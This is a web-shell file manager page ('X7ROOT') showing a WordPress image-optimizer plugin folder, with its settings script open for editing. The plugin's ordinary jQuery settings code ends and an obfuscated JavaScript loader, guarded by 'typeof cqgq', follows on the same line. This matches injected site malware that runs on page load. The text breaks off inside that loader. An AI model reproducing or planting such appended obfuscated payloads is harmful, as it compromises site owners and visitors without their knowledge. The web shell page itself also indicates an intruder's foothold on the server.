X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/ewww-image-optimizer/includes
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
ewww-image-optimizer
/
includes
/
ðŸ“
..
📄
check-webp.js
(7.01 KB)
📄
check-webp.min.js
(6.51 KB)
📄
eio-beacon.js
(7.77 KB)
📄
eio-bulk-table.js
(26.92 KB)
📄
eio-bulk.js
(21.21 KB)
📄
eio-settings.js
(34.31 KB)
📄
eio-tools.js
(36.91 KB)
📄
flag.js
(7.71 KB)
📄
jquery-ui-1.10.1.custom.css
(22.06 KB)
📄
lazysizes-post.js
(25.75 KB)
📄
lazysizes-pre.js
(6.72 KB)
📄
lazysizes.js
(24.66 KB)
📄
lazysizes.min.js
(21.61 KB)
📄
load-webp.js
(37.78 KB)
📄
load-webp.min.js
(16.51 KB)
📄
ls.print.js
(7.47 KB)
📄
ls.print.min.js
(6.71 KB)
📄
ls.unveilhooks-addon.js
(10.63 KB)
📄
ls.unveilhooks.js
(10.31 KB)
📄
media.js
(12.77 KB)
📄
nextcellent.js
(7.59 KB)
📄
nextgen.js
(7.72 KB)
📄
resize-detection.js
(8.34 KB)
📄
resize-detection.min.js
(7.31 KB)
📄
webp.js
(7.65 KB)
Editing: eio-settings.js
jQuery(document).ready(function($) { // Wizard bits: $('input:radio[name="ewww_image_optimizer_budget"]').on( 'change', function() { if (this.checked && this.value === 'pay') { $('.ewwwio-premium-setup').show(); } else { $('.ewwwio-premium-setup').hide(); $('#ewww-image-optimizer-warning-opt-missing').show(); $('#ewww-image-optimizer-warning-exec').show(); } } ); var ewww_wizard_required_checkboxes = $('#ewwwio-wizard-step-1 :checkbox[required]'); ewww_wizard_required_checkboxes.on( 'change', function() { if (ewww_wizard_required_checkboxes.is(':checked')) { ewww_wizard_required_checkboxes.removeAttr('required'); } else { ewww_wizard_required_checkboxes.attr('required', 'required'); } } ); function removeQueryArg(url) { return url.split('?')[0]; } $('.fade').fadeTo(5000,1).fadeOut(3000); // Fetch image savings info and add it to the page. var ewww_get_image_savings_data = { action: 'ewww_get_image_savings', network_savings: ewww_vars.network_blog_ids.length, ewww_wpnonce: ewww_vars._wpnonce, }; $.post(ajaxurl, ewww_get_image_savings_data, function(response) { var is_json = true; try { var ewww_response = JSON.parse(response); } catch (err) { is_json = false; } if ( ! is_json ) { console.log( response ); return false; } if ( ewww_response.html ) { $('#ewww-score-bars').html( ewww_response.html ); var ewww_save_bar_width = $('#ewww-savings-fill').data('score'); $('#ewww-savings-fill').animate( { width: ewww_save_bar_width + '%', }, 1000 ); var easy_save_bar_width = $('#easyio-savings-fill').data('score'); $('#easyio-savings-fill').animate( { width: easy_save_bar_width + '%', }, 1000 ); } }) .fail(function() { $('#ewww-bulk-queue-images').html('<span class="ewww-bulk-error"><b>' + ewww_vars.invalid_response + '</b></span>'); }); $('#ewww-warning-exec-dismiss-link').on( 'click', function() { var ewww_dismiss_exec_data = { action: 'ewww_dismiss_exec_notice', _wpnonce: ewww_vars.notice_nonce, }; jQuery.post(ajaxurl, ewww_dismiss_exec_data, function(response) { if (response) { console.log(response); } $('#ewww-image-optimizer-warning-exec').hide(); }); return false; } ); $('#ewww-news-dismiss-link').on( 'click', function() { var ewww_dismiss_news_data = { action: 'ewww_dismiss_newsletter', _wpnonce: ewww_vars._wpnonce, }; $.post(ajaxurl, ewww_dismiss_news_data, function(response) { if (response) { console.log(response); } $('#ewww-newsletter-banner').hide(); }); return false; } ); $('#ewww-enable-reporting').on( 'click', function() { var ewww_enable_reporting_data = { action: 'ewww_opt_into_tracking', _wpnonce: ewww_vars.notice_nonce, }; $('#ewww_image_optimizer_allow_tracking').prop('checked', true); $.post(ajaxurl, ewww_enable_reporting_data, function(response) { if (response) { console.log(response); } $('#ewww-anon-reporting-banner').html('<code>SPEEDER1012</code>'); }); return false; } ); $('#ewww-dismiss-reporting').on( 'click', function() { var ewww_enable_reporting_data = { action: 'ewww_opt_out_of_tracking', _wpnonce: ewww_vars.notice_nonce, }; $.post(ajaxurl, ewww_enable_reporting_data, function(response) { if (response) { console.log(response); } $('#ewww-anon-reporting-banner').hide(); }); return false; } ); $('#ewww-show-recommendations a').on( 'click', function() { $('.ewww-recommend').toggle(); $('#ewww-show-recommendations a').toggle(); return false; } ); $('#ewww_image_optimizer_cloud_key').on('keydown', function(event){ if (event.which === 13) { $('#ewwwio-api-activate').trigger('click'); return false; } }); $('#ewwwio-api-activate').on('click', function() { var ewww_post_action = 'ewww_cloud_key_verify'; var ewww_post_data = { action: ewww_post_action, compress_api_key: $('#ewww_image_optimizer_cloud_key').val(), ewww_wpnonce: ewww_vars._wpnonce, }; $('#ewwwio-api-activate').hide(); $('#ewwwio-api-activation-processing').show(); $('#ewwwio-api-activation-result').hide(); $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-api-activation-processing').hide(); $('#ewwwio-api-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-api-activation-result').addClass('error'); $('#ewwwio-api-activation-result').show(); console.log( response ); return false; } if ( ewww_response.error ) { $('#ewwwio-api-activation-processing').hide(); $('#ewwwio-api-activate').show(); $('#ewwwio-api-activation-result').html(ewww_response.error); $('#ewwwio-api-activation-result').addClass('error'); $('#ewwwio-api-activation-result').show(); } else if ( ! ewww_response.success ) { $('#ewwwio-api-activation-processing').hide(); $('#ewwwio-api-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-api-activation-result').addClass('error'); $('#ewwwio-api-activation-result').show(); console.log( response ); } else { $('#ewwwio-api-activation-processing').hide(); $('#ewwwio-api-activate').html('<span class="dashicons dashicons-yes"></span>'); $('#ewwwio-api-activate').show(); $('#ewwwio-api-activation-result').html(ewww_response.success); $('#ewwwio-api-activation-result').removeClass('error'); $('#ewwwio-api-activation-result').show(); $('.easyio-manual-ui').hide(); $('.easyio-cloud-key-ui').show(); $('#ewww_image_optimizer_cloud_key').attr('type', 'password'); ewww_vars.easy_autoreg = 1; ewwwCloudEnable(); } }); return false; }); function ewwwCloudEnable() { if ( $('#ewww_image_optimizer_jpg_level').val() < 20 && $('#ewww_image_optimizer_png_level').val() < 20 && $('#ewww_image_optimizer_gif_level').val() < 20 && $('#ewww_image_optimizer_pdf_level').val() < 10 ) { $('#ewww_image_optimizer_jpg_level option').prop('disabled', false); $('#ewww_image_optimizer_png_level option').prop('disabled', false); $('#ewww_image_optimizer_pdf_level option').prop('disabled', false); $('#ewww_image_optimizer_svg_level option').prop('disabled', false); $('#ewww_image_optimizer_backup_files option').prop('disabled', false); $('#ewww_image_optimizer_jpg_level').val(30); $('#ewww_image_optimizer_png_level').val(20); $('#ewww_image_optimizer_gif_level').val(10); $('#ewww_image_optimizer_pdf_level').val(10); $('#ewww_image_optimizer_svg_level').val(10); } } if (ewww_vars.easy_autoreg) { $('.easyio-network-singlesite .easyio-manual-ui').hide(); $('.easyio-network-singlesite .easyio-cloud-key-ui').show(); } else { $('.easyio-network-singlesite .easyio-manual-ui').show(); $('.easyio-network-singlesite .easyio-cloud-key-ui').hide(); } var easyio_registration_error = ''; $('#ewwwio-easy-activate').on( 'click', function() { $('#ewwwio-easy-activate').hide(); $('#ewwwio-easy-deregister').hide(); $('#ewwwio-easy-activation-result').hide(); $('#ewwwio-easy-activation-processing').show(); if (! ewww_vars.easyio_site_registered && ewww_vars.easy_autoreg) { console.log('site not yet registered, setting up CDN zone first'); var ewww_post_data = { action: 'ewww_exactdn_register_site', ewww_wpnonce: ewww_vars._wpnonce, blog_id: ewww_vars.blog_id, }; $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( 'registration response: ' + response ); return false; } if ( ewww_response.error ) { easyio_registration_error = ewww_response.error; } else if ( ! ewww_response.status ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( 'registration response: ' + response ); return false; } setTimeout( activateExactDNSite, 5000 ); return false; }); } else { activateExactDNSite(); return false; } return false; }); function activateExactDNSite() { var ewww_post_action = 'ewww_exactdn_activate'; var ewww_post_data = { action: ewww_post_action, ewww_wpnonce: ewww_vars._wpnonce, }; $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( response ); return false; } if ( ewww_response.error ) { if ( easyio_registration_error ) { ewww_response.error = easyio_registration_error + '<br>' + ewww_response.error; } $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activate').show(); $('#ewwwio-easy-activation-result').html(ewww_response.error); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); } else if ( ! ewww_response.success ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( response ); } else { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_response.success); $('#ewwwio-easy-activation-result').removeClass('error'); $('#ewwwio-easy-activation-result').show(); $('.ewwwio-exactdn-options input').prop('disabled', false); if (ewww_vars.easymode) { $('.exactdn-easy-options').show(); } else { $('.ewwwio-exactdn-options').show(); } $('.ewwwio-easy-setup-instructions').hide(); $('#ewww_image_optimizer_webp_container').hide(); $('.ewww_image_optimizer_webp_setting_container').hide(); $('.ewww_image_optimizer_webp_rewrite_setting_container').hide(); $('#ewww_image_optimizer_webp_easyio_container').show(); } }); return false; } var exactdn_blog_ids = []; var exactdn_blog_count = 0; var exactdn_cancelled = false; $('#ewwwio-easy-activate-network').on( 'click', function() { if (!confirm(ewww_vars.exactdn_network_warning)) { return false; } exactdn_blog_ids = Array.from(ewww_vars.network_blog_ids); exactdn_blog_count = exactdn_blog_ids.length; $('#ewww_image_optimizer_exactdn_container .button-secondary').hide(); $('#ewwwio-easy-cancel-network-operation').show(); $('#ewwwio-easy-activation-result').hide(); $('#ewwwio-easy-activation-processing').show(); $('#ewwwio-easy-activation-progressbar').progressbar({ max: exactdn_blog_count }); $('#ewwwio-easy-activation-progressbar').show(); activateExactDNMultiSite(); return false; }); function activateExactDNMultiSite() { var ewww_post_data = { action: 'ewww_exactdn_activate_site', ewww_wpnonce: ewww_vars._wpnonce, blog_id: exactdn_blog_ids.pop(), }; $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); console.log( response ); return false; } var exactdn_blogs_done = exactdn_blog_count - exactdn_blog_ids.length; if ( ewww_response.error ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-errors').append('<p>' + ewww_response.error + '</p>'); $('#ewwwio-easy-activation-errors').show(); $('#ewwwio-easy-activation-progressbar').progressbar('option', 'value', exactdn_blogs_done); } else if ( ! ewww_response.success ) { $('#ewwwio-easy-activate-network').show(); $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); console.log( response ); return false; } else { $('#ewwwio-easy-activation-processing').hide(); $('.ewwwio-easy-setup-instructions').hide(); $('p.ewwwio-easy-description').hide(); $('#ewwwio-easy-activation-progressbar').progressbar('option', 'value', exactdn_blogs_done); } if ( exactdn_blog_ids.length ) { activateExactDNMultiSite(); } else { $('#ewwwio-easy-cancel-network-operation').hide(); if (exactdn_cancelled) { $('#ewwwio-easy-activation-result').html(ewww_vars.operation_stopped); } else { $('#ewwwio-easy-activation-result').html(ewww_vars.exactdn_network_success); } $('#ewwwio-easy-activation-result').removeClass('error'); $('#ewwwio-easy-activation-result').show(); $('.ewwwio-exactdn-options input').prop('disabled', false); $('.ewwwio-exactdn-options').show(); $('#ewwwio-easy-activation-progressbar').hide(); $('#ewww_image_optimizer_webp_container').hide(); $('.ewww_image_optimizer_webp_setting_container').hide(); $('.ewww_image_optimizer_webp_rewrite_setting_container').hide(); $('#ewww_image_optimizer_webp_easyio_container').show(); } }); return false; } $('#ewwwio-easy-register-network').on( 'click', function() { if (!confirm(ewww_vars.easyio_register_warning)) { return false; } exactdn_blog_ids = Array.from(ewww_vars.network_blog_ids); exactdn_blog_count = exactdn_blog_ids.length; $('#ewww_image_optimizer_exactdn_container .button-secondary').hide(); $('#ewwwio-easy-cancel-network-operation').show(); $('#ewwwio-easy-activation-result').hide(); $('#ewwwio-easy-activation-processing').show(); $('#ewwwio-easy-activation-progressbar').progressbar({ max: exactdn_blog_count }); $('#ewwwio-easy-activation-progressbar').show(); registerExactDNSite(); return false; }); function registerExactDNSite() { var ewww_post_data = { action: 'ewww_exactdn_register_site', ewww_wpnonce: ewww_vars._wpnonce, blog_id: exactdn_blog_ids.pop(), }; $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); console.log( response ); return false; } var exactdn_blogs_done = exactdn_blog_count - exactdn_blog_ids.length; if ( ewww_response.error ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-register-network').show(); $('#ewwwio-easy-activation-result').html(ewww_response.error); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); return false; } else if ( ! ewww_response.status ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); console.log( response ); return false; } else { $('#ewwwio-easy-activation-processing').hide(); $('.ewwwio-easy-setup-instructions').hide(); $('p.ewwwio-easy-description').hide(); $('#ewwwio-easy-activation-progressbar').progressbar('option', 'value', exactdn_blogs_done); } if ( exactdn_blog_ids.length ) { registerExactDNSite(); } else { if (exactdn_cancelled) { $('#ewwwio-easy-activation-result').html(ewww_vars.operation_stopped); } else { $('#ewwwio-easy-activation-result').html(ewww_vars.easyio_register_success); } $('#ewwwio-easy-activation-result').removeClass('error'); $('#ewwwio-easy-activation-result').show(); $('#ewwwio-easy-cancel-network-operation').hide(); $('#ewwwio-easy-activation-progressbar').hide(); $('#ewwwio-easy-activate-network').show(); } }); return false; } $('#ewwwio-easy-cancel-network-operation').on('click', function() { exactdn_blog_ids = []; exactdn_cancelled = true; $('#ewwwio-easy-cancel-network-operation').hide(); return false; }); $('#ewwwio-easy-deregister').on( 'click', function() { if (!confirm(ewww_vars.easyio_deregister_warning)) { return false; } $('#ewwwio-easy-activate').hide(); $('#ewwwio-easy-deregister').hide(); $('#ewwwio-easy-activation-result').hide(); $('#ewwwio-easy-activation-processing').show(); if (ewww_vars.easyio_site_id) { deregisterExactDNSite(); } else { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); } return false; }); function deregisterExactDNSite() { var ewww_post_data = { action: 'ewww_exactdn_deregister_site', ewww_wpnonce: ewww_vars._wpnonce, site_id: ewww_vars.easyio_site_id, }; $.post(ajaxurl, ewww_post_data, function(response) { try { var ewww_response = JSON.parse(response); } catch (err) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( 'de-registration response: ' + response ); return false; } if ( ewww_response.error ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_response.error); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); } else if ( ! ewww_response.success ) { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_vars.invalid_response); $('#ewwwio-easy-activation-result').addClass('error'); $('#ewwwio-easy-activation-result').show(); console.log( 'de-registration response: ' + response ); } else { $('#ewwwio-easy-activation-processing').hide(); $('#ewwwio-easy-activation-result').html(ewww_response.success); $('#ewwwio-easy-activation-result').removeClass('error'); $('#ewwwio-easy-activation-result').show(); } }); return false; } $('#ewww_image_optimizer_webp').on( 'click', function() { if ( $(this).prop('checked') && ewww_vars.save_space ) { $('#ewwwio-webp-storage-warning').fadeIn(); return false; } else if ($(this).prop('checked')) { $('.ewww_image_optimizer_webp_setting_container').fadeIn(); if ($('#ewww_image_optimizer_webp_for_cdn').prop('checked') || $('#ewww_image_optimizer_picture_webp').prop('checked')) { $('.ewww_image_optimizer_webp_rewrite_setting_container').fadeIn(); } } else { $('.ewww_image_optimizer_webp_setting_container').fadeOut(); $('.ewww_image_optimizer_webp_rewrite_setting_container').fadeOut(); } } ); $('#ewwwio-cancel-webp').on( 'click', function() { $('#ewwwio-webp-storage-warning').fadeOut(); return false; } ); $('#ewwwio-easyio-webp-info').on( 'click', function() { $('#ewwwio-webp-storage-warning').fadeOut(); $('.ewwwio-premium-setup').show(); } ) $('#ewwwio-confirm-webp').on( 'click', function() { $('#ewwwio-webp-storage-warning').fadeOut(); $('#ewww_image_optimizer_webp').prop('checked', true); $('.ewww_image_optimizer_webp_setting_container').fadeIn(); if ($('#ewww_image_optimizer_webp_for_cdn').prop('checked') || $('#ewww_image_optimizer_picture_webp').prop('checked')) { $('.ewww_image_optimizer_webp_rewrite_setting_container').fadeIn(); } return false; } ); $('#ewww-webp-rewrite #ewww-webp-insert').on( 'click', function() { var ewww_webp_rewrite_action = 'ewww_webp_rewrite'; var ewww_webp_rewrite_data = { action: ewww_webp_rewrite_action, ewww_wpnonce: ewww_vars._wpnonce, }; $.post(ajaxurl, ewww_webp_rewrite_data, function(response) { $('#ewww-webp-rewrite-result').html(response); $('#ewww-webp-rewrite-result').show(); $('#ewww-webp-rewrite-status').hide(); $('#webp-rewrite-rules').hide(); $('#ewww-webp-insert').hide(); ewww_webp_image = document.getElementById('ewww-webp-image').src; document.getElementById('ewww-webp-image').src = removeQueryArg(ewww_webp_image) + '?m=' + new Date().getTime(); }); return false; }); $('#ewww-webp-rewrite #ewww-webp-remove').on( 'click', function() { var ewww_webp_rewrite_action = 'ewww_webp_unwrite'; var ewww_webp_rewrite_data = { action: ewww_webp_rewrite_action, ewww_wpnonce: ewww_vars._wpnonce, }; $.post(ajaxurl, ewww_webp_rewrite_data, function(response) { $('#ewww-webp-rewrite-result').html(response); $('#ewww-webp-rewrite-result').show(); $('#ewww-webp-rewrite-status').hide(); $('#ewww-webp-remove').hide(); ewww_webp_image = document.getElementById('ewww-webp-image').src; document.getElementById('ewww-webp-image').src = removeQueryArg(ewww_webp_image) + '?m' + new Date().getTime(); }); return false; }); $('#exactdn_site_url').on( 'mouseenter', function() { $('#exactdn-site-url-copy').fadeIn(); } ); $('#exactdn_site_url').on( 'mouseleave', function() { $('#exactdn-site-url-copy').fadeOut(); $('#exactdn-site-url-copied').fadeOut(); } ); $('#exactdn_site_url').on( 'click', function() { this.select(); this.setSelectionRange(0,300); // For mobile. try { var successful = document.execCommand('copy'); if ( successful ) { unselectText(); $('#exactdn-site-url-copy').hide(); $('#exactdn-site-url-copied').fadeIn(); } } catch(err) { console.log('browser cannot copy'); console.log(err); } }); $('#ewww_image_optimizer_exactdn').on( 'click', function() { if($(this).prop('checked')) { $('.ewwwio-exactdn-options').show(); } else { $('.ewwwio-exactdn-options').hide(); } }); $('#ewww_image_optimizer_lazy_load').on( 'click', function() { if($(this).prop('checked')) { $('#ewww_image_optimizer_ll_autoscale_container').fadeIn(); $('#ewww_image_optimizer_ll_abovethefold_container').fadeIn(); $('#ewww_image_optimizer_siip_container').fadeIn(); $('#ewww_image_optimizer_lqip_container').fadeIn(); $('#ewww_image_optimizer_dcip_container').fadeIn(); $('#ewww_image_optimizer_ll_all_things_container').fadeIn(); $('#ewww_image_optimizer_ll_exclude_container').fadeIn(); } else { $('#ewww_image_optimizer_ll_autoscale_container').fadeOut(); $('#ewww_image_optimizer_ll_abovethefold_container').fadeOut(); $('#ewww_image_optimizer_siip_container').fadeOut(); $('#ewww_image_optimizer_lqip_container').fadeOut(); $('#ewww_image_optimizer_dcip_container').fadeOut(); $('#ewww_image_optimizer_ll_all_things_container').fadeOut(); $('#ewww_image_optimizer_ll_exclude_container').fadeOut(); } }); $('#ewww_image_optimizer_webp_for_cdn, #ewww_image_optimizer_picture_webp').on( 'click', function() { if ( $(this).prop('checked') && ewww_vars.cloud_media ) { var webp_delivery_confirm = confirm(ewww_vars.webp_cloud_warning); if (! webp_delivery_confirm) { return false; } } if ( ! $('#ewww_image_optimizer_webp_for_cdn').prop('checked') && ! $('#ewww_image_optimizer_picture_webp').prop('checked') ) { $('.ewww_image_optimizer_webp_rewrite_setting_container').fadeOut(); } else { $('.ewww_image_optimizer_webp_rewrite_setting_container').fadeIn(); } } ); $('#ewww-general-settings').show(); if($('#ewww_image_optimizer_debug').length){ $('#ewww-resize-settings').hide(); } $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); $('.ewww-general-nav').on('click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-general-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').show(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-local-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-local-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').show(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-advanced-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-advanced-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').show(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-resize-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-resize-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').show(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-conversion-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-conversion-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').show(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-support-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-support-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').show(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').hide(); }); $('.ewww-contribute-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-contribute-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').show(); $('#ewww-plugin-listing').hide(); }); $('.ewww-plugins-nav').on( 'click', function() { $('.ewww-tab-nav li').removeClass('ewww-selected'); $('li.ewww-plugins-nav').addClass('ewww-selected'); $('.ewww-tab a').trigger('blur'); $('#ewww-general-settings').hide(); $('#ewww-local-settings').hide(); $('#ewww-advanced-settings').hide(); $('#ewww-resize-settings').hide(); $('#ewww-conversion-settings').hide(); $('#ewww-support-settings').hide(); $('#ewww-contribute-settings').hide(); $('#ewww-plugin-listing').show(); }); });;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var 